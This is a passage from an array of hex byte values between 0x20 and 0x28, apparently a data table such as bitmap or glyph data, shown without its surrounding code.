    0x21, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x23, 0x21, 0x21, 0x23, 0x20, 0x23, 0x24, 0x23,
    0x20, 0x24, 0x20, 0x20, 0x21, 0x22, 0x23, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x25, 0x25,
    0x23, 0x27, 0x26, 0x24, 0x28, 0x28, 0x25, 0x20,
    0x20, 0x27, 0x27, 0x26, 0x22, 0x24, 0x27, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x20, 0x21, 0x21, 0x21, 0x24, 0x23,
    0x20, 0x20, 0x23, 0x20, 0x20, 0x24, 0x23, 0x22,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x23, 0x22, 0x21, 0x23, 0x24, 0x23, 0x20, 0x23,
    0x20, 0x20, 0x23, 0x24, 0x21, 0x22, 0x23, 0x24,
    0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x25, 0x26,
    0x21, 0x25, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x25, 0x26, 0x23, 0x22, 0x25, 0x27, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x24, 0x23, 0x22, 0x21, 0x20, 0x23,
    0x20, 0x20, 0x23, 0x24, 0x20, 0x23, 0x21, 0x21,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x23,
    0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x21, 0x22, 0x23, 0x24, 0x23, 0x20, 0x23,
    0x20, 0x24, 0x24, 0x20, 0x21, 0x22, 0x23, 0x24,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x25, 0x26,
    0x20, 0x23, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x20, 0x27, 0x26, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x24, 0x24, 0x24, 0x24,
    0x20, 0x24, 0x24, 0x20, 0x21, 0x21, 0x24, 0x20,
    0x20, 0x21, 0x23, 0x24, 0x21, 0x22, 0x21, 0x21,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x20, 0x23,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x25, 0x23, 0x21, 0x23, 0x24, 0x23, 0x24, 0x23,
    0x23, 0x20, 0x23, 0x21, 0x22, 0x21, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x23, 0x23, 0x25, 0x26,
    0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x26, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x21, 0x20, 0x21,
    0x21, 0x22, 0x21, 0x24, 0x23, 0x22, 0x22, 0x20,
    0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x24, 0x24,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x24, 0x23, 0x22, 0x23, 0x20, 0x23, 0x23, 0x21,
    0x20, 0x20, 0x21, 0x22, 0x21, 0x23, 0x24, 0x24,
    0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x25, 0x25,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x26, 0x26,
    0x26, 0x27, 0x26, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x25, 0x23, 0x22, 0x22,
    0x22, 0x22, 0x23, 0x24, 0x21, 0x21, 0x24, 0x25,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x21, 0x21, 0x23, 0x22, 0x22, 0x21,
    0x20, 0x20, 0x21, 0x22, 0x23, 0x25, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x25, 0x25,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x26, 0x26,
    0x27, 0x27, 0x26, 0x24, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x25, 0x20, 0x21,
    0x22, 0x22, 0x23, 0x20, 0x23, 0x25, 0x25, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x24, 0x24, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x25, 0x23, 0x22, 0x22, 0x21, 0x21,
    0x20, 0x20, 0x23, 0x20, 0x24, 0x24, 0x20, 0x24,
    0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x25, 0x26,
    0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x26, 0x27, 0x25,
    0x25, 0x26, 0x27, 0x25, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x20, 0x24, 0x25, 0x25,
    0x24, 0x24, 0x24, 0x24, 0x23, 0x20, 0x23, 0x21,
    0x23, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x24, 0x24, 0x24, 0x25, 0x24, 0x23, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x25, 0x24, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x25, 0x26,
    0x25, 0x24, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x23, 0x23, 0x25, 0x27, 0x26,
    0x20, 0x24, 0x26, 0x26, 0x24, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x21, 0x21, 0x22, 0x21,
    0x22, 0x22, 0x23, 0x24, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x25, 0x25, 0x25, 0x24,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x23, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x25, 0x26,
    0x24, 0x23, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x23, 0x21, 0x21, 0x20, 0x27, 0x27,
    0x25, 0x24, 0x26, 0x27, 0x25, 0x24, 0x24, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x20, 0x21, 0x23, 0x24, 0x21, 0x22, 0x21, 0x22,
    0x22, 0x21, 0x21, 0x23, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x20, 0x24, 0x20,
    0x24, 0x20, 0x22, 0x22, 0x21, 0x21, 0x22, 0x22,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x24, 0x25, 0x26,
    0x24, 0x21, 0x23, 0x25, 0x28, 0x28, 0x28, 0x28,
    0x23, 0x23, 0x21, 0x21, 0x22, 0x21, 0x26, 0x27,
    0x26, 0x26, 0x26, 0x27, 0x26, 0x20, 0x20, 0x20,
    0x20, 0x23, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x22, 0x23, 0x20, 0x21, 0x22, 0x21, 0x21,
    0x24, 0x25, 0x25, 0x23, 0x23, 0x24, 0x20, 0x20,
    0x24, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x23, 0x21,
    0x20, 0x20, 0x23, 0x21, 0x21, 0x22, 0x21, 0x21,
    0x21, 0x23, 0x20, 0x20, 0x24, 0x25, 0x25, 0x27,
    0x23, 0x21, 0x23, 0x23, 0x23, 0x20, 0x20, 0x23,
    0x23, 0x21, 0x21, 0x22, 0x22, 0x22, 0x24, 0x27,
    0x27, 0x27, 0x26, 0x26, 0x27, 0x25, 0x20, 0x24,
    0x23, 0x23, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x22, 0x20, 0x24, 0x23, 0x21, 0x21, 0x24,
    0x25, 0x20, 0x24, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x23, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x22, 0x21,
    0x24, 0x20, 0x22, 0x22, 0x21, 0x20, 0x25, 0x25,
    0x25, 0x21, 0x23, 0x24, 0x24, 0x25, 0x26, 0x25,
    0x22, 0x21, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x21, 0x21, 0x22, 0x22, 0x22, 0x22, 0x21, 0x26,
    0x27, 0x26, 0x26, 0x26, 0x27, 0x26, 0x24, 0x20,
    0x25, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24, 0x23,
    0x22, 0x21, 0x23, 0x24, 0x25, 0x25, 0x23, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x23, 0x20, 0x20,
    0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x23, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x23, 0x22, 0x21,
    0x20, 0x20, 0x20, 0x23, 0x23, 0x25, 0x20, 0x23,
    0x20, 0x22, 0x21, 0x24, 0x25, 0x25, 0x27, 0x23,
    0x22, 0x22, 0x21, 0x23, 0x23, 0x23, 0x23, 0x21,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x24,
    0x27, 0x26, 0x26, 0x26, 0x26, 0x27, 0x25, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x23,
    0x22, 0x21, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20,
    0x20, 0x23, 0x20, 0x21, 0x21, 0x23, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x21, 0x22, 0x21,
    0x24, 0x24, 0x25, 0x25, 0x20, 0x20, 0x23, 0x23,
    0x20, 0x21, 0x21, 0x24, 0x25, 0x27, 0x25, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x21, 0x21, 0x21, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x21,
    0x26, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x23,
    0x22, 0x22, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20,
    0x20, 0x20, 0x24, 0x21, 0x22, 0x23, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x23, 0x23, 0x24, 0x23, 0x20, 0x23, 0x20,
    0x20, 0x21, 0x23, 0x25, 0x26, 0x26, 0x23, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x25, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x23,
    0x21, 0x21, 0x23, 0x20, 0x23, 0x20, 0x23, 0x23,
    0x23, 0x23, 0x24, 0x21, 0x21, 0x23, 0x20, 0x20,
    0x24, 0x24, 0x20, 0x24, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x24, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x23, 0x20, 0x23, 0x20, 0x23, 0x20,
    0x23, 0x21, 0x24, 0x26, 0x27, 0x25, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x24, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x27,
    0x25, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20,
    0x21, 0x21, 0x23, 0x20, 0x23, 0x20, 0x21, 0x20,
    0x24, 0x24, 0x20, 0x21, 0x21, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x21, 0x22, 0x21,
    0x24, 0x20, 0x23, 0x20, 0x23, 0x20, 0x23, 0x20,
    0x20, 0x20, 0x25, 0x27, 0x27, 0x20, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x20, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x25, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x22, 0x22, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20,
    0x20, 0x23, 0x21, 0x22, 0x21, 0x24, 0x24, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x23, 0x21, 0x21,
    0x20, 0x20, 0x23, 0x24, 0x23, 0x20, 0x24, 0x24,
    0x24, 0x25, 0x26, 0x27, 0x26, 0x20, 0x21, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x21, 0x21, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x23, 0x26, 0x27, 0x26, 0x27, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x23, 0x22, 0x20, 0x24, 0x20, 0x23, 0x21, 0x20,
    0x23, 0x22, 0x22, 0x22, 0x23, 0x24, 0x24, 0x20,
    0x21, 0x21, 0x23, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x24, 0x20, 0x21, 0x23,
    0x20, 0x23, 0x23, 0x20, 0x23, 0x20, 0x23, 0x23,
    0x24, 0x26, 0x27, 0x27, 0x26, 0x23, 0x23, 0x21,
    0x22, 0x22, 0x22, 0x22, 0x21, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x21, 0x21, 0x21, 0x23,
    0x21, 0x24, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x27, 0x26, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x25, 0x23, 0x23, 0x23, 0x21, 0x21, 0x21, 0x23,
    0x23, 0x22, 0x21, 0x23, 0x25, 0x24, 0x20, 0x24,
    0x25, 0x25, 0x21, 0x23, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x21, 0x21,
    0x20, 0x23, 0x21, 0x21, 0x21, 0x24, 0x23, 0x23,
    0x25, 0x27, 0x26, 0x27, 0x25, 0x21, 0x22, 0x22,
    0x22, 0x21, 0x21, 0x21, 0x21, 0x21, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x20, 0x23,
    0x21, 0x21, 0x25, 0x26, 0x26, 0x25, 0x26, 0x26,
    0x26, 0x26, 0x27, 0x24, 0x20, 0x20, 0x24, 0x20,
    0x24, 0x25, 0x23, 0x22, 0x22, 0x21, 0x21, 0x20,
    0x23, 0x21, 0x20, 0x25, 0x20, 0x24, 0x24, 0x24,
    0x20, 0x20, 0x22, 0x21, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x21,
    0x21, 0x21, 0x21, 0x22, 0x23, 0x24, 0x21, 0x20,
    0x26, 0x26, 0x26, 0x27, 0x20, 0x22, 0x22, 0x22,
    0x22, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20,
    0x21, 0x21, 0x23, 0x26, 0x27, 0x26, 0x25, 0x26,
    0x26, 0x26, 0x27, 0x25, 0x20, 0x24, 0x24, 0x20,
    0x20, 0x24, 0x25, 0x20, 0x23, 0x21, 0x21, 0x20,
    0x23, 0x24, 0x25, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x23, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x25, 0x25,
    0x23, 0x22, 0x22, 0x22, 0x21, 0x20, 0x23, 0x25,
    0x26, 0x25, 0x26, 0x25, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x20, 0x24, 0x24, 0x24, 0x20, 0x23, 0x23,
    0x21, 0x21, 0x21, 0x23, 0x20, 0x24, 0x24, 0x24,
    0x22, 0x21, 0x21, 0x25, 0x27, 0x26, 0x26, 0x26,
    0x27, 0x26, 0x27, 0x26, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x25, 0x25, 0x25, 0x24, 0x24,
    0x23, 0x23, 0x23, 0x21, 0x23, 0x23, 0x20, 0x20,
    0x23, 0x20, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x20, 0x24, 0x20, 0x24,
    0x25, 0x24, 0x23, 0x21, 0x21, 0x20, 0x24, 0x25,
    0x26, 0x26, 0x27, 0x23, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x24, 0x24, 0x23, 0x21, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x23, 0x24, 0x24,
    0x21, 0x22, 0x22, 0x20, 0x27, 0x25, 0x25, 0x26,
    0x26, 0x26, 0x26, 0x27, 0x25, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x23, 0x24,
    0x23, 0x22, 0x22, 0x22, 0x21, 0x22, 0x21, 0x23,
    0x23, 0x24, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x25, 0x25, 0x25, 0x20, 0x20, 0x24, 0x26,
    0x26, 0x26, 0x25, 0x22, 0x22, 0x22, 0x22, 0x21,
    0x20, 0x23, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x24, 0x24,
    0x21, 0x22, 0x22, 0x21, 0x26, 0x25, 0x25, 0x26,
    0x26, 0x27, 0x26, 0x27, 0x26, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x23, 0x21, 0x24,
    0x23, 0x21, 0x21, 0x21, 0x22, 0x21, 0x21, 0x21,
    0x23, 0x20, 0x21, 0x22, 0x23, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x24, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x24, 0x25, 0x26,
    0x26, 0x27, 0x24, 0x22, 0x22, 0x22, 0x21, 0x20,
    0x21, 0x22, 0x22, 0x22, 0x21, 0x23, 0x20, 0x20,
    0x24, 0x24, 0x20, 0x23, 0x21, 0x22, 0x20, 0x24,
    0x23, 0x22, 0x22, 0x22, 0x25, 0x26, 0x26, 0x26,
    0x25, 0x26, 0x26, 0x27, 0x26, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x22, 0x21, 0x24,
    0x23, 0x22, 0x21, 0x21, 0x20, 0x25, 0x25, 0x20,
    0x24, 0x23, 0x21, 0x21, 0x24, 0x24, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x24, 0x25, 0x26,
    0x26, 0x26, 0x21, 0x22, 0x22, 0x21, 0x23, 0x22,
    0x22, 0x22, 0x23, 0x24, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x24, 0x24, 0x24, 0x24, 0x21, 0x24, 0x24,
    0x23, 0x22, 0x22, 0x22, 0x24, 0x27, 0x26, 0x27,
    0x25, 0x26, 0x26, 0x26, 0x27, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x24, 0x23, 0x22, 0x21, 0x24,
    0x20, 0x23, 0x21, 0x23, 0x25, 0x20, 0x20, 0x23,
    0x23, 0x22, 0x22, 0x21, 0x20, 0x24, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x24, 0x24, 0x21, 0x22, 0x23, 0x25, 0x25, 0x25,
    0x27, 0x25, 0x22, 0x22, 0x22, 0x21, 0x22, 0x22,
    0x23, 0x24, 0x24, 0x23, 0x21, 0x21, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x20, 0x24, 0x24, 0x24, 0x24,
    0x20, 0x22, 0x22, 0x22, 0x20, 0x27, 0x26, 0x27,
    0x25, 0x26, 0x27, 0x26, 0x27, 0x26, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x24, 0x25, 0x25, 0x23, 0x20, 0x23, 0x20, 0x23,
    0x22, 0x22, 0x21, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x22, 0x20, 0x25, 0x26, 0x26,
    0x27, 0x20, 0x22, 0x22, 0x22, 0x22, 0x22, 0x20,
    0x20, 0x23, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x23, 0x24, 0x24, 0x24,
    0x20, 0x22, 0x22, 0x22, 0x20, 0x27, 0x26, 0x27,
    0x25, 0x26, 0x27, 0x26, 0x27, 0x25, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x23, 0x20, 0x20, 0x23, 0x20, 0x23, 0x20, 0x23,
    0x22, 0x22, 0x23, 0x25, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x23, 0x22, 0x22, 0x20, 0x25, 0x26, 0x26,
    0x26, 0x21, 0x22, 0x22, 0x22, 0x21, 0x20, 0x23,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x21, 0x21,
    0x21, 0x22, 0x22, 0x22, 0x21, 0x24, 0x24, 0x24,
    0x24, 0x22, 0x22, 0x22, 0x23, 0x27, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x27, 0x26, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x24, 0x21, 0x22, 0x21, 0x24,
    0x23, 0x23, 0x20, 0x23, 0x20, 0x23, 0x20, 0x23,
    0x22, 0x20, 0x25, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x24, 0x20, 0x21, 0x21, 0x25, 0x26, 0x26, 0x26,
    0x26, 0x21, 0x22, 0x22, 0x21, 0x23, 0x21, 0x22,
    0x22, 0x22, 0x23, 0x23, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x23, 0x22, 0x22, 0x24, 0x24, 0x24,
    0x24, 0x21, 0x22, 0x22, 0x23, 0x27, 0x27, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x27, 0x26, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x22, 0x21, 0x20,
    0x23, 0x23, 0x20, 0x23, 0x20, 0x23, 0x24, 0x23,
    0x20, 0x25, 0x24, 0x20, 0x24, 0x24, 0x24, 0x24,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x22, 0x20, 0x26, 0x27, 0x26, 0x26,
    0x25, 0x22, 0x22, 0x22, 0x21, 0x22, 0x22, 0x22,
    0x23, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x24, 0x20, 0x23, 0x24, 0x24, 0x24,
    0x24, 0x21, 0x22, 0x22, 0x23, 0x27, 0x27, 0x26,
    0x26, 0x27, 0x26, 0x26, 0x27, 0x26, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x21, 0x22, 0x21, 0x20,
    0x23, 0x20, 0x23, 0x23, 0x24, 0x24, 0x24, 0x21,
    0x23, 0x23, 0x20, 0x23, 0x23, 0x20, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x21, 0x24, 0x26, 0x27, 0x25, 0x25,
    0x25, 0x22, 0x22, 0x22, 0x22, 0x22, 0x23, 0x20,
    0x20, 0x23, 0x21, 0x21, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x21, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x23, 0x22, 0x22, 0x23, 0x27, 0x27, 0x26,
    0x26, 0x27, 0x26, 0x26, 0x27, 0x26, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x23, 0x22, 0x21, 0x24,
    0x20, 0x24, 0x20, 0x23, 0x20, 0x23, 0x21, 0x22,
    0x22, 0x21, 0x21, 0x21, 0x22, 0x21, 0x23, 0x20,
    0x24, 0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x23, 0x25, 0x26, 0x27, 0x26, 0x25,
    0x25, 0x22, 0x22, 0x22, 0x21, 0x20, 0x20, 0x21,
    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x20, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x23, 0x22, 0x22, 0x23, 0x27, 0x27, 0x26,
    0x26, 0x26, 0x27, 0x26, 0x27, 0x26, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x24, 0x21, 0x21, 0x20,
    0x23, 0x23, 0x21, 0x21, 0x20, 0x21, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x23, 0x25, 0x27, 0x26, 0x27, 0x26,
    0x25, 0x22, 0x22, 0x21, 0x20, 0x21, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x21, 0x23, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x22, 0x22, 0x20, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x27, 0x26, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x25, 0x21, 0x23,
    0x21, 0x22, 0x22, 0x21, 0x24, 0x21, 0x21, 0x23,
    0x22, 0x21, 0x23, 0x20, 0x25, 0x25, 0x20, 0x21,
    0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x25, 0x28, 0x25, 0x26,
    0x25, 0x22, 0x22, 0x23, 0x21, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x24, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x25, 0x26, 0x25, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x24, 0x20, 0x25, 0x24, 0x22,
    0x22, 0x22, 0x21, 0x20, 0x20, 0x21, 0x23, 0x25,
    0x23, 0x21, 0x23, 0x25, 0x20, 0x24, 0x23, 0x22,
    0x23, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x24, 0x28, 0x28, 0x28, 0x28,
    0x26, 0x24, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x21, 0x28, 0x28, 0x25, 0x26, 0x27, 0x26,
    0x26, 0x26, 0x27, 0x25, 0x25, 0x25, 0x24, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x25, 0x25,
    0x23, 0x21, 0x21, 0x23, 0x20, 0x23, 0x25, 0x24,
    0x25, 0x24, 0x23, 0x20, 0x21, 0x20, 0x23, 0x21,
    0x23, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x27, 0x24, 0x22, 0x22, 0x22, 0x22, 0x22,
